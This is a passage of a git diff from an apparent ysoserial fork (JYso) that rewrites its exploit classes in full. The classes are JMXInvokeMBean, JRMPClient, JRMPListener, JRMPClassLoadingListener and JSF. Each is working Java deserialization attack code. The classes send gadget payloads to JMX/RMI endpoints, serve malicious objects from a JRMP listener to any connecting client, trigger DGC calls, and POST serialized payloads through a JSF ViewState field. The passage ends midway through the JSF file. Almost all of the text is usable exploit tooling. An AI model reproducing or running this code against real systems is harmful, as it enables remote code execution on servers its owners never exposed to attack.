payloadObject; + System.err.println("Querying MBeans"); + Set testMBeans = mbc.queryMBeans(null, null); + System.err.println("Found " + testMBeans.size() + " MBeans"); + for (ObjectInstance oi : testMBeans) { + MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName()); + for (MBeanOperationInfo opInfo : mBeanInfo.getOperations()) { + try { + mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[]{}); + System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS"); + return; + } catch (Throwable e) { + String msg = e.getMessage(); + if (msg.startsWith("java.lang.ClassNotFoundException:")) { + int start = msg.indexOf('"'); + int stop = msg.indexOf('"', start + 1); + String module = (start >= 0 && stop > 0) ? msg.substring(start + 1, stop) : ""; + if (!"".equals(module) && !"org.jboss.as.jmx:main".equals(module)) { + int c_start = msg.indexOf(':'); + int c_end = msg.indexOf(' ', c_start + 2); + String cls = msg.substring(c_start + 2, c_end); + System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL " + cls + " (" + module + ")"); + } + } else { + System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg); + return; + } + } + } + } + } + + + private static final class ConsoleLogHandler extends Handler { + + + @Override + public void publish(LogRecord record) { + System.err.println(record.getMessage()); + } + + + @Override + public void flush() { + + } + + + @Override + public void close() throws SecurityException { + } + } + + private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext { + + private final ConnectionProviderContextImpl context; + + + public ConnectionHandlerContextImpl(ConnectionProviderContextImpl context) { + this.context = context; + } + + + public void remoteClosed() { + } + + + public OpenListener getServiceOpenListener(String serviceType) { + return null; + } + + + public RegisteredService getRegisteredService(String serviceType) { + return null; + } + + + public ConnectionProviderContext getConnectionProviderContext() { + return this.context; + } + + + public Connection getConnection() { + return null; + } + } + + + private static final class ConnectionProviderContextImpl implements ConnectionProviderContext { + + private final XnioWorker worker; + + private final ExecutorService executor; + + private final Xnio instance; + + private final Endpoint endpoint; + + + public ConnectionProviderContextImpl(OptionMap opts, String endpointName) throws IllegalArgumentException, IOException { + this.instance = Xnio.getInstance(); + + this.worker = this.instance.createWorker(opts); + this.endpoint = Remoting.createEndpoint(endpointName, this.worker, opts); + this.executor = Executors.newCachedThreadPool(r -> { + Thread t = new Thread(r, "Worker"); + t.setDaemon(true); + return t; + }); + } + + + public XnioWorker getXnioWorker() { + return this.worker; + } + + + public Xnio getXnio() { + return this.instance; + } + + + public Executor getExecutor() { + return this.executor; + } + + + public Endpoint getEndpoint() { + return this.endpoint; + } + + + public void accept(ConnectionHandlerFactory connectionHandlerFactory) { + System.err.println("accept"); + } + + } + +} diff --git a/src/main/java/com/qi4l/JYso/exploit/JMXInvokeMBean.java b/src/main/java/com/qi4l/JYso/exploit/JMXInvokeMBean.java index 864ddd0..d8ebedf 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JMXInvokeMBean.java +++ b/src/main/java/com/qi4l/JYso/exploit/JMXInvokeMBean.java @@ -1,43 +1,43 @@ -package com.qi4l.JYso.exploit; - -import com.qi4l.JYso.gadgets.Config.ysoserial; - -import javax.management.MBeanServerConnection; -import javax.management.ObjectName; -import javax.management.remote.JMXConnector; -import javax.management.remote.JMXConnectorFactory; -import javax.management.remote.JMXServiceURL; - -/** - * Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader. - * Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument. - */ -public class JMXInvokeMBean { - - public static void main(String[] args) throws Exception { - - if (args.length < 6) { - System.err.println(JMXInvokeMBean.class.getName() + " "); - System.exit(-1); - } - - JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi"); - - JMXConnector jmxConnector = JMXConnectorFactory.connect(url); - MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection(); - - // 去除前两个参数 - String[] newArray = new String[args.length - 2]; - System.arraycopy(args, 2, newArray, 0, newArray.length); - - ysoserial.run(newArray); - Object payloadObject = ysoserial.PAYLOAD; - - ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging"); - - mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()}); - - //close the connection - jmxConnector.close(); - } -} +package com.qi4l.JYso.exploit; + +import com.qi4l.JYso.gadgets.Config.ysoserial; + +import javax.management.MBeanServerConnection; +import javax.management.ObjectName; +import javax.management.remote.JMXConnector; +import javax.management.remote.JMXConnectorFactory; +import javax.management.remote.JMXServiceURL; + +/** + * Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader. + * Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument. + */ +public class JMXInvokeMBean { + + public static void main(String[] args) throws Exception { + + if (args.length < 6) { + System.err.println(JMXInvokeMBean.class.getName() + " "); + System.exit(-1); + } + + JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi"); + + JMXConnector jmxConnector = JMXConnectorFactory.connect(url); + MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection(); + + // 去除前两个参数 + String[] newArray = new String[args.length - 2]; + System.arraycopy(args, 2, newArray, 0, newArray.length); + + ysoserial.run(newArray); + Object payloadObject = ysoserial.PAYLOAD; + + ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging"); + + mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()}); + + //close the connection + jmxConnector.close(); + } +} diff --git a/src/main/java/com/qi4l/JYso/exploit/JRMPClassLoadingListener.java b/src/main/java/com/qi4l/JYso/exploit/JRMPClassLoadingListener.java index cad21ae..76940a5 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JRMPClassLoadingListener.java +++ b/src/main/java/com/qi4l/JYso/exploit/JRMPClassLoadingListener.java @@ -1,48 +1,48 @@ -package com.qi4l.JYso.exploit; - -import com.qi4l.JYso.gadgets.JRMPClient; - -import java.net.URL; - - -/** - * JRMP listener triggering RMI remote classloading - *

- * Opens up an JRMP listener that will deliver a remote classpath class to the calling client. - *

- * Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need - * access to an RMI socket when you can deliver {@link JRMPClient}. - *

- * This only works if - * - the remote end is running with a security manager - * - java.rmi.server.useCodebaseOnly=false (default until 7u21) - * - the remote has the proper permissions to remotely load the class (mostly URLPermission) - *

- * and, of course, the payload class is then run under the security manager with a remote codebase - * so either the policy needs to allow whatever you want to do in the payload or you need to combine - * with a security manager bypass exploit (wouldn't be the first time). - * - * @author mbechler - */ -public class JRMPClassLoadingListener { - - public static void main(final String[] args) { - - if (args.length < 3) { - System.err.println(JRMPClassLoadingListener.class.getName() + " "); - System.exit(-1); - return; - } - - try { - int port = Integer.parseInt(args[0]); - System.err.println("* Opening JRMP listener on " + port); - JRMPListener c = new JRMPListener(port, args[2], new URL(args[1])); - c.run(); - } catch (Exception e) { - System.err.println("Listener error"); - e.printStackTrace(System.err); - } - } - -} +package com.qi4l.JYso.exploit; + +import com.qi4l.JYso.gadgets.JRMPClient; + +import java.net.URL; + + +/** + * JRMP listener triggering RMI remote classloading + *

+ * Opens up an JRMP listener that will deliver a remote classpath class to the calling client. + *

+ * Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need + * access to an RMI socket when you can deliver {@link JRMPClient}. + *

+ * This only works if + * - the remote end is running with a security manager + * - java.rmi.server.useCodebaseOnly=false (default until 7u21) + * - the remote has the proper permissions to remotely load the class (mostly URLPermission) + *

+ * and, of course, the payload class is then run under the security manager with a remote codebase + * so either the policy needs to allow whatever you want to do in the payload or you need to combine + * with a security manager bypass exploit (wouldn't be the first time). + * + * @author mbechler + */ +public class JRMPClassLoadingListener { + + public static void main(final String[] args) { + + if (args.length < 3) { + System.err.println(JRMPClassLoadingListener.class.getName() + " "); + System.exit(-1); + return; + } + + try { + int port = Integer.parseInt(args[0]); + System.err.println("* Opening JRMP listener on " + port); + JRMPListener c = new JRMPListener(port, args[2], new URL(args[1])); + c.run(); + } catch (Exception e) { + System.err.println("Listener error"); + e.printStackTrace(System.err); + } + } + +} diff --git a/src/main/java/com/qi4l/JYso/exploit/JRMPClient.java b/src/main/java/com/qi4l/JYso/exploit/JRMPClient.java index ae570bd..3a926d0 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JRMPClient.java +++ b/src/main/java/com/qi4l/JYso/exploit/JRMPClient.java @@ -1,132 +1,132 @@ -package com.qi4l.JYso.exploit; - -import com.qi4l.JYso.gadgets.Config.ysoserial; -import sun.rmi.transport.TransportConstants; - -import javax.net.SocketFactory; -import java.io.DataOutputStream; -import java.io.IOException; -import java.io.ObjectOutputStream; -import java.io.OutputStream; -import java.net.*; - -/** - * Generic JRMP client - *

- * Pretty much the same thing as {@link RMIBindExploit} but - * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener) - * - not deserializing anything (so you don't get yourself exploited ;)) - * - * @author mbechler - */ -@SuppressWarnings({ - "restriction" -}) -public class JRMPClient { - - public static void main(final String[] args) throws Exception { - if (args.length < 5) { - System.err.println(JRMPClient.class.getName() + " "); - System.exit(-1); - } - - String hostname = args[0]; - int port = Integer.parseInt(args[1]); - - // 去除前两个参数 - String[] newArray = new String[args.length - 2]; - System.arraycopy(args, 2, newArray, 0, newArray.length); - - ysoserial.run(newArray); - Object payloadObject = ysoserial.PAYLOAD; - - try { - System.err.printf("* Opening JRMP socket %s:%d%n", hostname, port); - makeDGCCall(hostname, port, payloadObject); - } catch (Exception e) { - e.printStackTrace(System.err); - } - } - - public static void makeDGCCall(String hostname, int port, Object payloadObject) throws IOException { - Socket s = null; - DataOutputStream dos = null; - try { - s = SocketFactory.getDefault().createSocket(hostname, port); - s.setKeepAlive(true); - s.setTcpNoDelay(true); - - OutputStream os = s.getOutputStream(); - dos = new DataOutputStream(os); - - dos.writeInt(TransportConstants.Magic); - dos.writeShort(TransportConstants.Version); - dos.writeByte(TransportConstants.SingleOpProtocol); - - dos.write(TransportConstants.Call); - - final ObjectOutputStream objOut = new MarshalOutputStream(dos); - - objOut.writeLong(2); // DGC - objOut.writeInt(0); - objOut.writeLong(0); - objOut.writeShort(0); - - objOut.writeInt(1); // dirty - objOut.writeLong(-669196253586618813L); - - objOut.writeObject(payloadObject); - - os.flush(); - } finally { - if (dos != null) { - dos.close(); - } - if (s != null) { - s.close(); - } - } - } - - static final class MarshalOutputStream extends ObjectOutputStream { - - - private URL sendUrl; - - public MarshalOutputStream(OutputStream out, URL u) throws IOException { - super(out); - this.sendUrl = u; - } - - MarshalOutputStream(OutputStream out) throws IOException { - super(out); - } - - @Override - protected void annotateClass(Class cl) throws IOException { - if (this.sendUrl != null) { - writeObject(this.sendUrl.toString()); - } else if (!(cl.getClassLoader() instanceof URLClassLoader)) { - writeObject(null); - } else { - URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs(); - StringBuilder cb = new StringBuilder(); - - for (URL u : us) { - cb.append(u.toString()); - } - writeObject(cb.toString()); - } - } - - - /** - * Serializes a location from which to load the specified class. - */ - @Override - protected void annotateProxyClass(Class cl) throws IOException { - annotateClass(cl); - } - } -} - +package com.qi4l.JYso.exploit; + +import com.qi4l.JYso.gadgets.Config.ysoserial; +import sun.rmi.transport.TransportConstants; + +import javax.net.SocketFactory; +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.net.*; + +/** + * Generic JRMP client + *

+ * Pretty much the same thing as {@link RMIBindExploit} but + * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener) + * - not deserializing anything (so you don't get yourself exploited ;)) + * + * @author mbechler + */ +@SuppressWarnings({ + "restriction" +}) +public class JRMPClient { + + public static void main(final String[] args) throws Exception { + if (args.length < 5) { + System.err.println(JRMPClient.class.getName() + " "); + System.exit(-1); + } + + String hostname = args[0]; + int port = Integer.parseInt(args[1]); + + // 去除前两个参数 + String[] newArray = new String[args.length - 2]; + System.arraycopy(args, 2, newArray, 0, newArray.length); + + ysoserial.run(newArray); + Object payloadObject = ysoserial.PAYLOAD; + + try { + System.err.printf("* Opening JRMP socket %s:%d%n", hostname, port); + makeDGCCall(hostname, port, payloadObject); + } catch (Exception e) { + e.printStackTrace(System.err); + } + } + + public static void makeDGCCall(String hostname, int port, Object payloadObject) throws IOException { + Socket s = null; + DataOutputStream dos = null; + try { + s = SocketFactory.getDefault().createSocket(hostname, port); + s.setKeepAlive(true); + s.setTcpNoDelay(true); + + OutputStream os = s.getOutputStream(); + dos = new DataOutputStream(os); + + dos.writeInt(TransportConstants.Magic); + dos.writeShort(TransportConstants.Version); + dos.writeByte(TransportConstants.SingleOpProtocol); + + dos.write(TransportConstants.Call); + + final ObjectOutputStream objOut = new MarshalOutputStream(dos); + + objOut.writeLong(2); // DGC + objOut.writeInt(0); + objOut.writeLong(0); + objOut.writeShort(0); + + objOut.writeInt(1); // dirty + objOut.writeLong(-669196253586618813L); + + objOut.writeObject(payloadObject); + + os.flush(); + } finally { + if (dos != null) { + dos.close(); + } + if (s != null) { + s.close(); + } + } + } + + static final class MarshalOutputStream extends ObjectOutputStream { + + + private URL sendUrl; + + public MarshalOutputStream(OutputStream out, URL u) throws IOException { + super(out); + this.sendUrl = u; + } + + MarshalOutputStream(OutputStream out) throws IOException { + super(out); + } + + @Override + protected void annotateClass(Class cl) throws IOException { + if (this.sendUrl != null) { + writeObject(this.sendUrl.toString()); + } else if (!(cl.getClassLoader() instanceof URLClassLoader)) { + writeObject(null); + } else { + URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs(); + StringBuilder cb = new StringBuilder(); + + for (URL u : us) { + cb.append(u.toString()); + } + writeObject(cb.toString()); + } + } + + + /** + * Serializes a location from which to load the specified class. + */ + @Override + protected void annotateProxyClass(Class cl) throws IOException { + annotateClass(cl); + } + } +} + diff --git a/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java b/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java index d4c0dc6..621b54c 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java +++ b/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java @@ -1,289 +1,289 @@ -package com.qi4l.JYso.exploit; - -import com.qi4l.JYso.gadgets.Config.ysoserial; -import com.qi4l.JYso.gadgets.utils.Reflections; -import javassist.ClassClassPath; -import javassist.ClassPool; -import javassist.CtClass; -import org.apache.logging.log4j.Logger; -import org.apache.logging.log4j.LogManager; -import sun.rmi.transport.TransportConstants; - -import javax.management.BadAttributeValueExpException; -import javax.net.ServerSocketFactory; -import java.io.*; -import java.net.*; -import java.rmi.MarshalException; -import java.rmi.server.ObjID; -import java.rmi.server.UID; -import java.util.Arrays; - -/** - * Generic JRMP listener - *

- * Opens up an JRMP listener that will deliver the specified payload to any - * client connecting to it and making a call. - * - * @author mbechler - */ -@SuppressWarnings({ - "restriction" -}) -public class JRMPListener implements Runnable { - - private static final Logger log = LogManager.getLogger(JRMPListener.class); - private final int port; - - private final Object payloadObject; - - private final ServerSocket ss; - - private final Object waitLock = new Object(); - - private boolean exit; - - private boolean hadConnection; - - private URL classpathUrl; - - - public JRMPListener(int port, Object payloadObject) throws NumberFormatException, IOException { - this.port = port; - this.payloadObject = payloadObject; - this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); - } - - public JRMPListener(int port, String className, URL classpathUrl) throws IOException { - this.port = port; - this.payloadObject = makeDummyObject(className); - this.classpathUrl = classpathUrl; - this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); - } - - public static void main(final String[] args) throws Exception { - if (args.length < 5) { - System.err.println(JRMPListener.class.getName() + " "); - System.exit(-1); - return; - } - - // 去除第一个参数 - String[] newArray = new String[args.length - 1]; - System.arraycopy(args, 1, newArray, 0, newArray.length); - - ysoserial.run(newArray); - final Object payloadObject = ysoserial.PAYLOAD; - - try { - int port = Integer.parseInt(args[0]); - System.err.println("* Opening JRMP listener on " + port); - JRMPListener c = new JRMPListener(port, payloadObject); - c.run(); - } catch (Exception e) { - System.err.println("Listener error"); - e.printStackTrace(System.err); - } - } - - @SuppressWarnings({"deprecation"}) - protected static Object makeDummyObject(String className) { - try { - ClassLoader isolation = new ClassLoader() { - }; - ClassPool cp = new ClassPool(); - cp.insertClassPath(new ClassClassPath(Dummy.class)); - CtClass clazz = cp.get(Dummy.class.getName()); - clazz.setName(className); - return clazz.toClass(isolation).newInstance(); - } catch (Exception e) { - log.error("e: ", e); - return new byte[0]; - } - } - - public void waitFor(int i) { - try { - if (this.hadConnection) { - return; - } - System.err.println("Waiting for connection"); - synchronized (this.waitLock) { - this.waitLock.wait(i); - } - } catch (InterruptedException ignored) { - } - } - - public void close() { - this.exit = true; - try { - this.ss.close(); - } catch (IOException ignored) { - } - synchronized (this.waitLock) { - this.waitLock.notify(); - } - } - - public void run() { - try { - Socket s = null; - try { - while (!this.exit && (s = this.ss.accept()) != null) { - try { - s.setSoTimeout(5000); - InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress(); - System.err.println("Have connection from " + remote); - - InputStream is = s.getInputStream(); - InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is); - - // Read magic (or HTTP wrapper) - bufIn.mark(4); - DataInputStream in = new DataInputStream(bufIn); - int magic = in.readInt(); - - short version = in.readShort(); - if (magic != TransportConstants.Magic || version != TransportConstants.Version) { - s.close(); - continue; - } - - OutputStream sockOut = s.getOutputStream(); - BufferedOutputStream bufOut = new BufferedOutputStream(sockOut); - DataOutputStream out = new DataOutputStream(bufOut); - - byte protocol = in.readByte(); - switch (protocol) { - case TransportConstants.StreamProtocol: - out.writeByte(TransportConstants.ProtocolAck); - if (remote.getHostName() != null) { - out.writeUTF(remote.getHostName()); - } else { - out.writeUTF(remote.getAddress().toString()); - } - out.writeInt(remote.getPort()); - out.flush(); - in.readUTF(); - in.readInt(); - case TransportConstants.SingleOpProtocol: - doMessage(s, in, out, this.payloadObject); - break; - case TransportConstants.MultiplexProtocol: - System.err.println("Unsupported protocol"); - s.close(); - continue; - default: - } - - bufOut.flush(); - out.flush(); - } catch (InterruptedException e) { - return; - } catch (Exception e) { - e.printStackTrace(System.err); - } finally { - System.err.println("Closing connection"); - s.close(); - } - - } - - } finally { - if (s != null) { - s.close(); - } - if (this.ss != null) { - this.ss.close(); - } - } - - } catch (SocketException ignored) { - } catch (Exception e) { - e.printStackTrace(System.err); - } - } - - private void doMessage(Socket s, DataInputStream in, DataOutputStream out, Object payload) throws Exception { - System.err.println("Reading message..."); - - int op = in.read(); - - switch (op) { - case TransportConstants.Call: - // service incoming RMI call - doCall(in, out, payload); - break; - - case TransportConstants.Ping: - // send ack for ping - out.writeByte(TransportConstants.PingAck); - break; - - case TransportConstants.DGCAck: - break; - - default: - throw new IOException("unknown transport op " + op); - } - - s.close(); - } - - private void doCall(DataInputStream in, DataOutputStream out, Object payload) throws Exception { - ObjectInputStream ois = new ObjectInputStream(in) { - - @Override - protected Class resolveClass(ObjectStreamClass desc) throws IOException { - if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) { - return ObjID[].class; - } else if ("java.rmi.server.ObjID".equals(desc.getName())) { - return ObjID.class; - } else if ("java.rmi.server.UID".equals(desc.getName())) { - return UID.class; - } - throw new IOException("Not allowed to read object"); - } - }; - - ObjID read; - try { - read = ObjID.read(ois); - } catch (java.io.IOException e) { - throw new MarshalException("unable to read objID", e); - } - - - if (read.hashCode() == 2) { - ois.readInt(); // method - ois.readLong(); // hash - System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject())); - } - - System.err.println("Sending return with payload for obj " + read); - - out.writeByte(TransportConstants.Return);// transport op - ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl); - - oos.writeByte(TransportConstants.ExceptionalReturn); - new UID().write(oos); - - BadAttributeValueExpException ex = new BadAttributeValueExpException(null); - Reflections.setFieldValue(ex, "val", payload); - oos.writeObject(ex); - - oos.flush(); - out.flush(); - - this.hadConnection = true; - synchronized (this.waitLock) { - this.waitLock.notifyAll(); - } - } - - public static class Dummy implements Serializable { - - private static final long serialVersionUID = 1L; - - } -} +package com.qi4l.JYso.exploit; + +import com.qi4l.JYso.gadgets.Config.ysoserial; +import com.qi4l.JYso.gadgets.utils.Reflections; +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; +import sun.rmi.transport.TransportConstants; + +import javax.management.BadAttributeValueExpException; +import javax.net.ServerSocketFactory; +import java.io.*; +import java.net.*; +import java.rmi.MarshalException; +import java.rmi.server.ObjID; +import java.rmi.server.UID; +import java.util.Arrays; + +/** + * Generic JRMP listener + *

+ * Opens up an JRMP listener that will deliver the specified payload to any + * client connecting to it and making a call. + * + * @author mbechler + */ +@SuppressWarnings({ + "restriction" +}) +public class JRMPListener implements Runnable { + + private static final Logger log = LogManager.getLogger(JRMPListener.class); + private final int port; + + private final Object payloadObject; + + private final ServerSocket ss; + + private final Object waitLock = new Object(); + + private boolean exit; + + private boolean hadConnection; + + private URL classpathUrl; + + + public JRMPListener(int port, Object payloadObject) throws NumberFormatException, IOException { + this.port = port; + this.payloadObject = payloadObject; + this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); + } + + public JRMPListener(int port, String className, URL classpathUrl) throws IOException { + this.port = port; + this.payloadObject = makeDummyObject(className); + this.classpathUrl = classpathUrl; + this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); + } + + public static void main(final String[] args) throws Exception { + if (args.length < 5) { + System.err.println(JRMPListener.class.getName() + " "); + System.exit(-1); + return; + } + + // 去除第一个参数 + String[] newArray = new String[args.length - 1]; + System.arraycopy(args, 1, newArray, 0, newArray.length); + + ysoserial.run(newArray); + final Object payloadObject = ysoserial.PAYLOAD; + + try { + int port = Integer.parseInt(args[0]); + System.err.println("* Opening JRMP listener on " + port); + JRMPListener c = new JRMPListener(port, payloadObject); + c.run(); + } catch (Exception e) { + System.err.println("Listener error"); + e.printStackTrace(System.err); + } + } + + @SuppressWarnings({"deprecation"}) + protected static Object makeDummyObject(String className) { + try { + ClassLoader isolation = new ClassLoader() { + }; + ClassPool cp = new ClassPool(); + cp.insertClassPath(new ClassClassPath(Dummy.class)); + CtClass clazz = cp.get(Dummy.class.getName()); + clazz.setName(className); + return clazz.toClass(isolation).newInstance(); + } catch (Exception e) { + log.error("e: ", e); + return new byte[0]; + } + } + + public void waitFor(int i) { + try { + if (this.hadConnection) { + return; + } + System.err.println("Waiting for connection"); + synchronized (this.waitLock) { + this.waitLock.wait(i); + } + } catch (InterruptedException ignored) { + } + } + + public void close() { + this.exit = true; + try { + this.ss.close(); + } catch (IOException ignored) { + } + synchronized (this.waitLock) { + this.waitLock.notify(); + } + } + + public void run() { + try { + Socket s = null; + try { + while (!this.exit && (s = this.ss.accept()) != null) { + try { + s.setSoTimeout(5000); + InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress(); + System.err.println("Have connection from " + remote); + + InputStream is = s.getInputStream(); + InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is); + + // Read magic (or HTTP wrapper) + bufIn.mark(4); + DataInputStream in = new DataInputStream(bufIn); + int magic = in.readInt(); + + short version = in.readShort(); + if (magic != TransportConstants.Magic || version != TransportConstants.Version) { + s.close(); + continue; + } + + OutputStream sockOut = s.getOutputStream(); + BufferedOutputStream bufOut = new BufferedOutputStream(sockOut); + DataOutputStream out = new DataOutputStream(bufOut); + + byte protocol = in.readByte(); + switch (protocol) { + case TransportConstants.StreamProtocol: + out.writeByte(TransportConstants.ProtocolAck); + if (remote.getHostName() != null) { + out.writeUTF(remote.getHostName()); + } else { + out.writeUTF(remote.getAddress().toString()); + } + out.writeInt(remote.getPort()); + out.flush(); + in.readUTF(); + in.readInt(); + case TransportConstants.SingleOpProtocol: + doMessage(s, in, out, this.payloadObject); + break; + case TransportConstants.MultiplexProtocol: + System.err.println("Unsupported protocol"); + s.close(); + continue; + default: + } + + bufOut.flush(); + out.flush(); + } catch (InterruptedException e) { + return; + } catch (Exception e) { + e.printStackTrace(System.err); + } finally { + System.err.println("Closing connection"); + s.close(); + } + + } + + } finally { + if (s != null) { + s.close(); + } + if (this.ss != null) { + this.ss.close(); + } + } + + } catch (SocketException ignored) { + } catch (Exception e) { + e.printStackTrace(System.err); + } + } + + private void doMessage(Socket s, DataInputStream in, DataOutputStream out, Object payload) throws Exception { + System.err.println("Reading message..."); + + int op = in.read(); + + switch (op) { + case TransportConstants.Call: + // service incoming RMI call + doCall(in, out, payload); + break; + + case TransportConstants.Ping: + // send ack for ping + out.writeByte(TransportConstants.PingAck); + break; + + case TransportConstants.DGCAck: + break; + + default: + throw new IOException("unknown transport op " + op); + } + + s.close(); + } + + private void doCall(DataInputStream in, DataOutputStream out, Object payload) throws Exception { + ObjectInputStream ois = new ObjectInputStream(in) { + + @Override + protected Class resolveClass(ObjectStreamClass desc) throws IOException { + if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) { + return ObjID[].class; + } else if ("java.rmi.server.ObjID".equals(desc.getName())) { + return ObjID.class; + } else if ("java.rmi.server.UID".equals(desc.getName())) { + return UID.class; + } + throw new IOException("Not allowed to read object"); + } + }; + + ObjID read; + try { + read = ObjID.read(ois); + } catch (java.io.IOException e) { + throw new MarshalException("unable to read objID", e); + } + + + if (read.hashCode() == 2) { + ois.readInt(); // method + ois.readLong(); // hash + System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject())); + } + + System.err.println("Sending return with payload for obj " + read); + + out.writeByte(TransportConstants.Return);// transport op + ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl); + + oos.writeByte(TransportConstants.ExceptionalReturn); + new UID().write(oos); + + BadAttributeValueExpException ex = new BadAttributeValueExpException(null); + Reflections.setFieldValue(ex, "val", payload); + oos.writeObject(ex); + + oos.flush(); + out.flush(); + + this.hadConnection = true; + synchronized (this.waitLock) { + this.waitLock.notifyAll(); + } + } + + public static class Dummy implements Serializable { + + private static final long serialVersionUID = 1L; + + } +} diff --git a/src/main/java/com/qi4l/JYso/exploit/JSF.java b/src/main/java/com/qi4l/JYso/exploit/JSF.java index afc08fe..dcbb458 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JSF.java +++ b/src/main/java/com/qi4l/JYso/exploit/JSF.java @@ -1,79 +1,79 @@ -package com.qi4l.JYso.exploit; - -import com.qi4l.JYso.gadgets.Config.ysoserial; -import org.apache.commons.codec.binary.Base64; - -import java.io.ByteArrayOutputStream; -import java.io.ObjectOutputStream; -import java.io.OutputStream; -import java.net.HttpURLConnection; -import java.net.URL; -import java.net.URLConnection; -import java.net.URLEncoder; -import java.nio.charset.StandardCharsets; - - -/** - * JSF view state exploit - *

- * Delivers a gadget payload via JSF ViewState token. - *

- * This will only work if ViewState encryption/mac is disabled. - *

- * While it has been long known that client side state saving - * with encryption disabled leads to RCE via EL injection, - * this of course also works with deserialization gadgets. - *

- * Also, it turns out that MyFaces is vulnerable to this even when - * using server-side state saving - * (yes, please, let's (de-)serialize a String as an Object). - * - * @author mbechler - */ -public class JSF { - - public static void main(String[] args) { - - if (args.length < 3) { - System.err.println(JSF.class.getName() + " "); - System.exit(-1); - } - - try { - URL u = new URL(args[0]); - - // 去除前两个参数 - String[] newArray = new String[args.length - 1]; - System.arraycopy(args, 1, newArray, 0, newArray.length); - - ysoserial.run(newArray); - Object payloadObject = ysoserial.PAYLOAD; - - URLConnection c = u.openConnection(); - if (!(c instanceof HttpURLConnection)) { - throw new IllegalArgumentException("Not a HTTP url"); - } - - HttpURLConnection hc = (HttpURLConnection) c; - hc.setDoOutput(true); - hc.setRequestMethod("POST"); - hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); - OutputStream os = hc.getOutputStream(); - - ByteArrayOutputStream bos = new ByteArrayOutputStream(); - ObjectOutputStream oos = new ObjectOutputStream(bos); - oos.writeObject(payloadObject); - oos.close(); - byte[] data = bos.toByteArray(); - String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII"); - os.write(requestBody.getBytes(StandardCharsets.US_ASCII)); - os.close(); - - System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage()); - } catch (Exception e) { - e.printStackTrace(System.err); - } - } - - -} +package com.qi4l.JYso.exploit; + +import com.qi4l.JYso.gadgets.Config.ysoserial; +import org.apache.commons.codec.binary.Base64; + +import java.io.ByteArrayOutputStream; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.net.HttpURLConnection; +import java.net.URL; +import java.net.URLConnection; +import java.net.URLEncoder; +import java.nio.charset.StandardCharsets; + + +/** + * JSF view state exploit + *

+ * Delivers a gadget payload via JSF ViewState token. + *

+ * This will only work if ViewState encryption/mac is disabled. + *

+ * While it has been long known that client side state saving + * with encryption disabled leads to RCE via EL injection, + * this of course also works with deserialization gadgets. + *

